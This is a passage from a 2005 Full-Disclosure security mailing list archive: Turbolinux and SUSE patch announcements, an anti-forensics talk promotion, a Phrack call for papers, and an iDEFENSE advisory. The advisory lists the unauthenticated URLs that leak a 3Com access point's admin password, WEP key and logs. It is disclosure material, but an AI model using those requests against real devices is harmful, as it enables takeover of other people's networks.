ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/XFree86-xfs-4.1.0-40.i586.rpm 65308 bd873f1147e4420bcdc324f6f4fcaf14 References: CVE [CAN-2004-0687] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0687 [CAN-2004-0688] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0688 [CAN-2004-0914] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914 =========================================================== * imlib -> Two vulnerabilities discovered in imlib =========================================================== More information: Imlib is a display depth-independent image loading and rendering library. Imlib is designed to simplify and speed up the process of loading images and obtaining X Window System drawables. Imlib provides many simple manipulation routines which can be used for common operations. Multiple issues have been discovered in imlib: - Multiple heap-based buffer overflows - Multiple integer overflows in the imlib image handler Impact: These vulnerabilities may allow remote attackers to execute arbitrary code via malformed image files. Affected Products: - Turbolinux 10 Server - Turbolinux Home - Turbolinux 10 F... - Turbolinux 10 Desktop - Turbolinux 8 Server - Turbolinux 8 Workstation - Turbolinux 7 Server - Turbolinux 7 Workstation Solution: Please use the turbopkg (zabom) tool to apply the update. --------------------------------------------- [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home] # turbopkg or # zabom -u imlib imlib-devel imlib-cfgeditor imlib-debug [other] # turbopkg or # zabom update imlib imlib-devel --------------------------------------------- Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/imlib-1.9.14-9.src.rpm 671199 8fa559a156b2f32932b0c056e91cab10 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-1.9.14-9.i586.rpm 156437 903c55bb189dbbbcfbd2da0e9367a979 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-cfgeditor-1.9.14-9.i586.rpm 237300 80169d1933dfa0d055309291a2acaf65 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-debug-1.9.14-9.i586.rpm 881100 b4456c4ee4b63ec72e40ad515718cd01 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/imlib-devel-1.9.14-9.i586.rpm 227288 a51634b47f72ed7892fe7f0ce7493d12 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/imlib-1.9.14-9.src.rpm 671199 65fa097e57bf9e8994fa33c4b228ee1b Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/imlib-1.9.14-9.i586.rpm 155675 118b05bce35378acdff10f25f4e94ac5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/imlib-devel-1.9.14-9.i586.rpm 227719 851c484e13d3d23ef8366e9479e5f5b2 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/imlib-1.9.13-10.src.rpm 835902 0cdc1b2b11958b9e5656150184546dc1 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-1.9.13-10.i586.rpm 138166 726d61918da3282354079e767c66987d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-cfgeditor-1.9.13-10.i586.rpm 234782 a344ccb8bf63c40cb68118096aa1afa3 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/imlib-devel-1.9.13-10.i586.rpm 227939 783ba488fb78504d3659bd16a2faea41 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/imlib-1.9.13-10.src.rpm 835902 b47e72aff2d37923ce7d51f0e21bbbad Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-1.9.13-10.i586.rpm 138121 9303aa6f89427d6803df4d1c2abb406f ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-cfgeditor-1.9.13-10.i586.rpm 234839 c62f1822cd7395e36eb24d490330d441 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/imlib-devel-1.9.13-10.i586.rpm 227967 5766fdbaa97fd1cb90156fd3ad8e55fb Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/imlib-1.9.10-7.src.rpm 793613 97708aba2aba0434735c9f0e9e56cf68 Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/imlib-1.9.10-7.i586.rpm 128854 060b6e083f34ae092eaaa499014d2e48 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/imlib-devel-1.9.10-7.i586.rpm 219639 0006ab5e52362c8501c0b77e41a8c5f4 Source Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/imlib-1.9.10-7.src.rpm 793613 fd71ba9137199f255d2134d5856289ec Binary Packages Size: MD5 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-1.9.10-7.i586.rpm 128838 77bfcda3d83b2bee97408b48af82d161 ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-cfgeditor-1.9.10-7.i586.rpm 233339 1a77a724824e43bd711c964cab1e652d ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/imlib-devel-1.9.10-7.i586.rpm 219564 11ca9e1c806156aa67473024081e5dad References: CVE [CAN-2004-1025] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1025 [CAN-2004-1026] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026 * You may need to update the turbopkg tool before applying the update. Please refer to the following URL for detailed information. http://www.turbolinux.com/download/zabom.html http://www.turbolinux.com/download/zabomupdate.html Package Update Path http://www.turbolinux.com/update/ ============================================================ * To obtain the public key Here is the public key http://www.turbolinux.com/security/ * To unsubscribe from the list If you ever want to remove yourself from this mailing list, you can send a message to with the word `unsubscribe' in the body (don't include the quotes). unsubscribe * To change your email address If you ever want to chage email address in this mailing list, you can send a message to with the following command in the message body: chaddr 'old address' 'new address' If you have any questions or problems, please contact Thank you! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQFB71FMK0LzjOqIJMwRAsEUAJ9599AhFk55nlg0VUIkrleS7wcqTQCfQfUB l9TjxOhzPUipkIw4gPqffjU= =OkBL -----END PGP SIGNATURE----- ------------------------------ Message: 4 Date: Thu, 20 Jan 2005 19:37:50 +0700 From: Anthony Zboralski Subject: [Full-Disclosure] Re: [ISN] Book Review: Forensic Discovery To: InfoSec News Cc: William Knowles , dailydave at lists.immunitysec.com, bugtraq at securityfocus.com, full-disclosure at lists.netsys.com Message-ID: <190A3FEA-6AE0-11D9-97C7-000A95B1B62E at bellua.com> Content-Type: text/plain; charset=US-ASCII; format=flowed On 19 Jan 2005, at 14:55, InfoSec News wrote: > http://books.slashdot.org/books/05/01/18/2110235.shtml > > [ http://www.amazon.com/exec/obidos/ASIN/020163497X/c4iorg - WK] > > Author: Dan Farmer & Wietse Venema > Pages: 198 > Publisher: Addison Wesley Professional > Rating: 10 > Reviewer: Ben Rothke > ISBN: 020163497X > Summary: Forensic Discovery overview > > Security luminaries Dan Farmer and Wietse Venema wrote one of the > first vulnerability scanners (SATAN) almost 10 years ago; SATAN was > the precursor to ISS Scanner, Retina and nmap. Venema wrote such > well-known security applications as the TCP Wrapper program and the > Postfix mail server. Farmer and Venema's new book Forensic Discovery > is a valuable book that grounds a computer-savvy reader in the world > of digital forensics. Source: http://hert.org/story.php/58 After reading the review of Dan Farmer and Wietse's Forensic Discovery, you should hear about The Grugq who got fired from @stake after writing a Phrack Article in which he exposed numerous flaws in The Coroner's Toolkit by Dan & Wietse. Before you read this book, check out the video (bittorrent) of The Grugq on The Art of Defiling and see how to defeat "industry grade" forensic tools and techniques . You can also meet him at a hacker convention near you (in March at BCS2005 in Jakarta, in April at Black Hat in S'pore and Amsterdam and at HITB2005 Bahrain. Video of the Grugq's Speech, The Art of Defiling: http://www.hert.org/z/grugq.torrent (Courtesy of HITB2004) Presentation Slides: http://packetstormsecurity.com/hitb04/hitb04-grugq.pdf (from HITB2004) Phrack article: http://www.phrack.org/show.php?p=59&a=6 (Phrack 59) Grugq's Profile: http://www.bellua.com/bcs2005/asia05.speakers.html#grugq The Grugq has been researching anti-forensics for almost 5 years. He has presented to the UK's largest forensic practitioner group where he scared Scotland Yard. Grugq has worked to secure the networks and hosts of global corporations, and he's also worked for security consulting companies. His work as a security consultant was cut short temporarily following the publication of an article on anti-forensics. P.S. Is it illegal to talk about anti-forensics under the Patriot Act? gaius -- Bellua Cyber Security Asia 2005 - http://www.bellua.com/bcs2005 21-22 March - The Workshops - 23-24 March - The Conference bcs2005 at bellua.com - Phone: +62213918330 HP:+628159102495 ------------------------------ _______________________________________________ Full-Disclosure mailing list Full-Disclosure at lists.netsys.com https://lists.netsys.com/mailman/listinfo/full-disclosure End of Full-Disclosure Digest, Vol 2, Issue 44 ********************************************** From idlabs-advisories at idefense.com Thu Jan 20 22:20:20 2005 From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com) Date: Thu, 20 Jan 2005 17:20:20 -0500 Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.20.05: 3Com OfficeConnect Wireless 11g AP Information Disclosure Vulnerability Message-ID: 3Com OfficeConnect Wireless 11g AP Information Disclosure Vulnerability iDEFENSE Security Advisory 01.20.05 www.idefense.com/application/poi/display?id=188&type=vulnerabilities January 20, 2005 I. BACKGROUND The 3Com OfficeConnect Wireless 11g Access Point provides users with access to network resources, the Internet, and e-mail at speeds up to 54 Mbps and at distances up to 100 meters (328 feet). More information about the product is available at http://www.3com.com/products/en_US/detail.jsp?tab=features &pathtype=purchase&sku=3CRWE454G72 II. DESCRIPTION Remote exploitation of an input validation vulnerability in 3Com Corp.'s OfficeConnect Wireless 11g Access Point allows attackers to glean sensitive router information. The 3Com OfficeConnect Wireless 11g Access Point (AP) provides an administrative interface via a web server accessible on port 80. This interface is exposed by default on the internal ethernet interface and the wireless interface, and it is also possible to expose it on the external ethernet interface. The problem specifically exists due to insufficient privilege checks when accessing various URLs without going through the formal logon process. An unauthenticated attacker can glean sensitive information from the device via the following URLs: /main/config.bin /main/profile.wlp?PN=ggg /main/event.logs These URLs will expose the administrative username and password in clear text, the WEP key and SSID, and the router log file respectively. III. ANALYSIS Successful exploitation allows remote attackers to glean sensitive router information, allowing the attacker to gain full control of the device. Compromise of the Access Point (AP) allows an attacker to potentially redirect traffic, access nodes behind the AP that are otherwise unaddressable and potentially monitor traffic from a remote location. This can lead to further compromise of other computers. IV. DETECTION It has been reported that firmware version 1.00.08 shipped on the 3Com OfficeConnect Wireless 11g Access Point is vulnerable. It is suspected that earlier versions are also vulnerable. V. WORKAROUND iDEFENSE is currently unaware of any workarounds for this issue. VI. VENDOR RESPONSE Firmware version 1.03.07A for 3CRWE454G72 has been released to addresses the vulnerability. http://www.3com.com/products/en_US/result.jsp?selected=6&sort=effdt &order=desc&sku=3CRWE454G72 VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the names CAN-2005-0112 to these issues. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 12/21/2004 Initial vendor notification - No response 01/06/2005 Secondary vendor notification 01/07/2005 Initial vendor response 01/20/2004 Public disclosure IX. CREDIT Patrik, cqure.net is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice at idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. From dontreply at phrack.org Fri Jan 21 14:07:11 2005 From: dontreply at phrack.org (dontreply at phrack.org) Date: Fri, 21 Jan 2005 14:07:11 +0000 Subject: [Full-Disclosure] PHRACK #63 CALL FOR PAPERS Message-ID: <20050121140711.GC17507@spirit.segfault.net> [-]=====================================================================[-] +++++++++++++++++++++++++++ =: P H R A C K - F I N A L := +++++++++++++++++++++++++++ ...a glorious era comes to an end. #63 will be our last PHRACK RELEASE -- EVER... FINAL CALL FOR PAPERS * FINAL CALL FOR PAPERS * FINAL CALL FOR PAPERS ----------------------------------- Deadline: 10 July 2005 at 11:59pm http://www.phrack.org/cfp_final.txt ----------------------------------- Phrackstaff is pleased to bring you our LAST EVER CALL FOR PAPERS for the FINAL RELEASE of PHRACK. We are preparing for a hardcover and ezine release at a major hacker convention near you! We ask everyone to submit a paper. Great care will be taken to ensure that only the best articles make it into PHRACK FINAL. As usual, papers can be on any topic related to the following: - hacking - phreaking - spying - carding - cybernetics - radio - electronics - forensics - reverse engineering - cryptography - anarchy - conspiracy - world news Since 1985, PHRACK MAGAZINE has been providing the hacker community with information on operating systems, network technologies and telephony, as well as relaying features of interest for the international computer underground. PHRACK MAGAZINE is made available to the public, as often as possible, free of charge. PHRACK STAFF <--- preparing for hex2005 phrackstaff at phrack.org Post Scriptum: - Phrackstaff will keep the website running for at least 2 years after PHRACK FINAL. - The last T-Shirts are sold for just $14.95 now. Enjoy it! - More about our decision in the release. Thanks and Goodbye. [-]=====================================================================[-] From meissner at suse.de Fri Jan 21 15:11:27 2005 From: meissner at suse.de (Marcus Meissner) Date: Fri, 21 Jan 2005 16:11:27 +0100 Subject: [Full-Disclosure] SUSE Security Announcement: kernel local privilege escalation (SUSE-SA:2005:003) Message-ID: <41F11B9F.mailOXF1878P8@suse.de> -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SUSE Security Announcement Package: kernel Announcement-ID: SUSE-SA:2005:003 Date: Friday, Jan 21st 2005 16:00 MET Affected products: 8.1, 8.2, 9.0, 9.1, 9.2 SUSE Linux Enterprise Server 8, 9 SUSE Linux Desktop 1.0 Novell Linux Desktop 9 Vulnerability Type: local privilege escalation Severity (1-10): 7 SUSE default package: yes Cross References: CAN-2004-1235 CAN-2005-0001 Content of this advisory: 1) security vulnerability resolved: - local privilege escalation - local denial of service attacks problem description 2) solution/workaround 3) special instructions and notes 4) package location and checksums 5) pending vulnerabilities, solutions, workarounds: - see summary report 6) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion Several exploitable security problems were identified and fixed in the Linux kernel, the core of every SUSE Linux product. - Due to missing locking in the sys_uselib system call a local attacker can gain root access. This was found by Paul Starzetz and is tracked by the Mitre CVE ID CAN-2004-1235. - Paul Starzetz also found a race condition in SMP page table handling which could lead to a local attacker gaining root access on SMP machines. This is tracked by the Mitre CVE ID CAN-2005-0001. - A local denial of service was found in the auditing subsystem which have lead a local attacker crashing the machine. This was reported and fixed by Redhat. - The sendmsg / cmsg fix from the previous kernel update was faulty on 64bit systems with 32bit compatibility layer and could lead to 32bit applications not working correctly on those 64bit systems. - The smbfs security fixes from a before-previous kernel update were faulty for some file write cases. - A local denial of service with Direct I/O access to NFS file systems could lead a local attacker to crash a machine with NFS mounts. - grsecurity reported a signed integer problem in the SCSI ioctl handling which had a missing boundary check. Due to C language specifics, this evaluation was not correct and there actually is no problem in this code. The signed / unsigned mismatch was fixed nevertheless. - Several more small non security problems were fixed. NOTE: Two days ago we released the Service Pack 1 for the SUSE Linux Enterprise Server 9. This kernel update contains fixes for the SUSE Linux Enterprise Server 9 GA version kernel line. A fix for the Service Pack 1 version line will be available shortly. 2) solution/workaround There is no workaround. Please install the provided update packages. 3) special instructions and notes SPECIAL INSTALL INSTRUCTIONS: ============================== The following paragraphs will guide you through the installation process in a step-by-step fashion. The character sequence "****" marks the beginning of a new paragraph. In some cases, the steps outlined in a particular paragraph may or may not be applicable to your situation. Therefore, please make sure to read through all of the steps below before attempting any of these procedures. All of the commands that need to be executed are required to be run as the superuser (root). Each step relies on the steps before it to complete successfully. **** Step 1: Determine the needed kernel type Please use the following command to find the kernel type that is installed on your system: rpm -qf /boot/vmlinuz Following are the possible kernel types (disregard the version and build number following the name separated by the "-" character) k_deflt # default kernel, good for most systems. k_i386 # kernel for older processors and chip sets k_athlon # kernel made specifically for AMD Athlon(tm) family processors k_psmp # kernel for Pentium-I dual processor systems k_smp # kernel for SMP systems (Pentium-II and above) k_smp4G # kernel for SMP systems which supports a maximum of 4G of RAM kernel-64k-pagesize kernel-bigsmp kernel-default kernel-smp **** Step 2: Download the package for your system Please download the kernel RPM package for your distribution with the name as indicated by Step 1. The list of all kernel rpm packages is appended below. Note: The kernel-source package does not contain a binary kernel in bootable form. Instead, it contains the sources that the binary kernel rpm packages are created from. It can be used by administrators who have decided to build their own kernel. Since the kernel-source.rpm is an installable (compiled) package that contains sources for the linux kernel, it is not the source RPM for the kernel RPM binary packages. The kernel RPM binary packages for the distributions can be found at the locations below ftp://ftp.suse.com/pub/suse/i386/update/. 8.1/rpm/i586 8.2/rpm/i586 9.0/rpm/i586 9.1/rpm/i586 9.2/rpm/i586 After downloading the kernel RPM package for your system, you should verify the authenticity of the kernel rpm package using the methods as listed in section 3) of each SUSE Security Announcement. **** Step 3: Installing your kernel rpm package Install the rpm package that you have downloaded in Steps 3 or 4 with the command rpm -Uhv --nodeps --force where is the name of the rpm package that you downloaded. Warning: After performing this step, your system will likely not be able to boot if the following steps have not been fully followed. If you run SUSE LINUX 8.1 and haven't applied the kernel update (SUSE-SA:2003:034), AND you are using the freeswan package, you also need to update the freeswan rpm as a dependency as offered by YOU (YaST Online Update). The package can be downloaded from ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/ **** Step 4: configuring and creating the initrd The initrd is a ramdisk that is loaded into the memory of your system together with the kernel boot image by the bootloader. The kernel uses the content of this ramdisk to execute commands that must be run before the kernel can mount its actual root filesystem. It is usually used to initialize SCSI drivers or NIC drivers for diskless operation. The variable INITRD_MODULES in /etc/sysconfig/kernel determines which kernel modules will be loaded in the initrd before the kernel has mounted its actual root filesystem. The variable should contain your SCSI adapter (if any) or filesystem driver modules. With the installation of the new kernel, the initrd has to be re-packed with the update kernel modules. Please run the command mk_initrd as root to create a new init ramdisk (initrd) for your system. On SuSE Linux 8.1 and later, this is done automatically when the RPM is installed. **** Step 5: bootloader If you run a SUSE LINUX 8.x, SLES8, or SUSE LINUX 9.x system, there are two options: Depending on your software configuration, you have either the lilo bootloader or the grub bootloader installed and initialized on your system. The grub bootloader does not require any further actions to be performed after the new kernel images have been moved in place by the rpm Update command. If you have a lilo bootloader installed and initialized, then the lilo program must be run as root. Use the command grep LOADER_TYPE /etc/sysconfig/bootloader to find out which boot loader is configured. If it is lilo, then you must run the lilo command as root. If grub is listed, then your system does not require any bootloader initialization. Warning: An improperly installed bootloader may render your system unbootable. **** Step 6: reboot If all of the steps above have been successfully completed on your system, then the new kernel including the kernel modules and the initrd should be ready to boot. The system needs to be rebooted for the changes to become active. Please make sure that all steps have completed, then reboot using the command shutdown -r now or init 6 Your system should now shut down and reboot with the new kernel. 4) package location and checksums Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. Our maintenance customers are being notified individually. The packages are being offered to install from the maintenance web. x86 Platform: SUSE Linux 9.2: ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-source-2.6.8-24.11.i586.rpm e335f4e401034f79bce9bcef3b6c19e0 ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-bigsmp-2.6.8-24.11.i586.rpm 848b85f02abd3d2877b04f10aa875689 ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-smp-2.6.8-24.11.i586.rpm f103cd395e9d6e4418cb8cf91c09147d ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-default-2.6.8-24.11.i586.rpm 374dc207a2b3e81e04cdad2e3d6c0333 ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kernel-um-2.6.8-24.11.i586.rpm 379085daf7dc1e1df0ce5c246c26caf4 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-source-2.6.8-24.11.src.rpm bbfdc289c2d1f1a73ac6fa759ecfaf87 ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-bigsmp-2.6.8-24.11.nosrc.rpm c999bd4ff601c34edc6322fc43caf1a5 ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-smp-2.6.8-24.11.nosrc.rpm 9539d6093144fbbd066681f61c9aa07d ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-default-2.6.8-24.11.nosrc.rpm eeeebf4ea4942f6093b56f7a3d7a7de3 ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/src/kernel-um-2.6.8-24.11.nosrc.rpm 93953b908c54f19d4d30816b4eae2dc9 SUSE Linux 9.1: ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-source-2.6.5-7.111.30.i586.rpm b84574947de5c47a2bcca43525e1fc4d ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-bigsmp-2.6.5-7.111.30.i586.rpm 5346f03accd80530ef1dd870a069dc11 ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-smp-2.6.5-7.111.30.i586.rpm dba08e4e49dbf1f32988152956448ab3 ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kernel-default-2.6.5-7.111.30.i586.rpm 231eb3350db6a02b621731790f3b6d37 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-source-2.6.5-7.111.30.src.rpm 8cd984fa2f4607ff75b0ff79a82090e0 ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-bigsmp-2.6.5-7.111.30.nosrc.rpm a64279aae3382a1647f594e59ea321fe ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-smp-2.6.5-7.111.30.nosrc.rpm 653925384a7e887fb59b58a432a86968 ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/src/kernel-default-2.6.5-7.111.30.nosrc.rpm f01bbb3541bb8197c36757c9ac554ba9 SUSE Linux 9.0: ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/kernel-source-2.4.21-273.i586.rpm c577564f2588a0f23b2bdf6c53622c88 ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_deflt-2.4.21-273.i586.rpm e1826b653a6dc121bc09af292469ca60 ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_athlon-2.4.21-273.i586.rpm 4f6f2c3181e9ffa3665b078b56263b5f ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_smp-2.4.21-273.i586.rpm 93d0f1ac7d07d8965fd995755ced96d8 ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_smp4G-2.4.21-273.i586.rpm dc55afa79f48b332802fcf8c957f4fb1 ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/k_um-2.4.21-273.i586.rpm aafbe34c9623ed1558cba1334d9cefb2 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/kernel-source-2.4.21-273.src.rpm 23d2ec2beb60fe87971679ffcd7aa43b ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_deflt-2.4.21-273.src.rpm d4570f75c0706913ab28ab591669a09f ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_athlon-2.4.21-273.src.rpm 5c9f06dab451c493ea3805c7c25b5e0e ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_smp-2.4.21-273.src.rpm 4f9d9932f848a81681d97b2121b95cfc ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_smp4G-2.4.21-273.src.rpm 595c9d12751dc3ed7911a0c839aa3798 ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/src/k_um-2.4.21-273.src.rpm 3d2030e1fe01309363a62269544d4ecf SUSE Linux 8.2: ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/kernel-source-2.4.20.SuSE-129.i586.rpm 5929f89029262db0f26f7839cae0144c ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_deflt-2.4.20-129.i586.rpm 1287e9445cf09947056f8330fad24417 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_athlon-2.4.20-129.i586.rpm 9e69c44a2d13d57388272f1991e2c549 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_smp-2.4.20-129.i586.rpm 345fdb85a6e39f15cd37cecafc8af4c5 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/k_psmp-2.4.20-129.i586.rpm 0964a18c464c9fd905b8c1efa2cd5ba1 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/kernel-source-2.4.20.SuSE-129.src.rpm 38e1780995f9b8463bb80d8337e9447a ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_deflt-2.4.20-129.src.rpm 449c13bd8b922c45233df240bb4b02ad ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_athlon-2.4.20-129.src.rpm 05ab0427675e9aba88460e016dbbd601 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_smp-2.4.20-129.src.rpm 86c6b0ae5616e0a72396fb19b3fbf172 ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/src/k_psmp-2.4.20-129.src.rpm eb488e7c3169936131ff6bac76862fb4 SUSE Linux 8.1: ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/kernel-source-2.4.21-273.i586.rpm d2c2fae409431dc9380b1e230359ed56 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_deflt-2.4.21-273.i586.rpm 503e57660b3b5f6c1eadf60a54e90508 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_athlon-2.4.21-273.i586.rpm 2c5a8cb80db649a50fc64a6a37dd0230 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_smp-2.4.21-273.i586.rpm 14b2e9a7783986b9293f0561729a5216 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/i586/k_psmp-2.4.21-273.i586.rpm 36930ea9a97e420b67137143bc3fbd06 source rpm(s): ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/kernel-source-2.4.21-273.src.rpm 70862f0bae01c0003b3cd48c9161c137 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_deflt-2.4.21-273.src.rpm ef2e870d10237d85d3be66a12371cfe2 ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_athlon-2.4.21-273.src.rpm 87551521c8e569351d47d9c0e097550b ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_smp-2.4.21-273.src.rpm 5062c220dd0ebe012e9f2f71137458ea ftp://ftp.suse.com/pub/suse/i386/update/8.1/rpm/src/k_psmp-2.4.21-273.src.rpm f6e881395e1d069e2dee910cdb311964 x86-64 Platform: SUSE Linux 9.2: ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kernel-source-2.6.8-24.11.x86_64.rpm d8d5dfd431c9b989195f94d3d3c1ea64 ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kernel-smp-2.6.8-24.11.x86_64.rpm 3a16e2109a1dbf177500430213e45b69 ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kernel-default-2.6.8-24.11.x86_64.rpm 51213878a7116455b9443688d0b39aa0 source rpm(s): ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/kernel-source-2.6.8-24.11.src.rpm bbfdc289c2d1f1a73ac6fa759ecfaf87 ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/kernel-smp-2.6.8-24.11.nosrc.rpm 9539d6093144fbbd066681f61c9aa07d ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/src/kernel-default-2.6.8-24.11.nosrc.rpm eeeebf4ea4942f6093b56f7a3d7a7de3 SUSE Linux 9.1: ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-source-2.6.5-7.111.30.x86_64.rpm 44996d9e1da1df537cb1b2100553d2af ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kernel-smp-2.6.5-7.111.30.x86_64.rpm 11ad693478569dd691d237679328bd1b 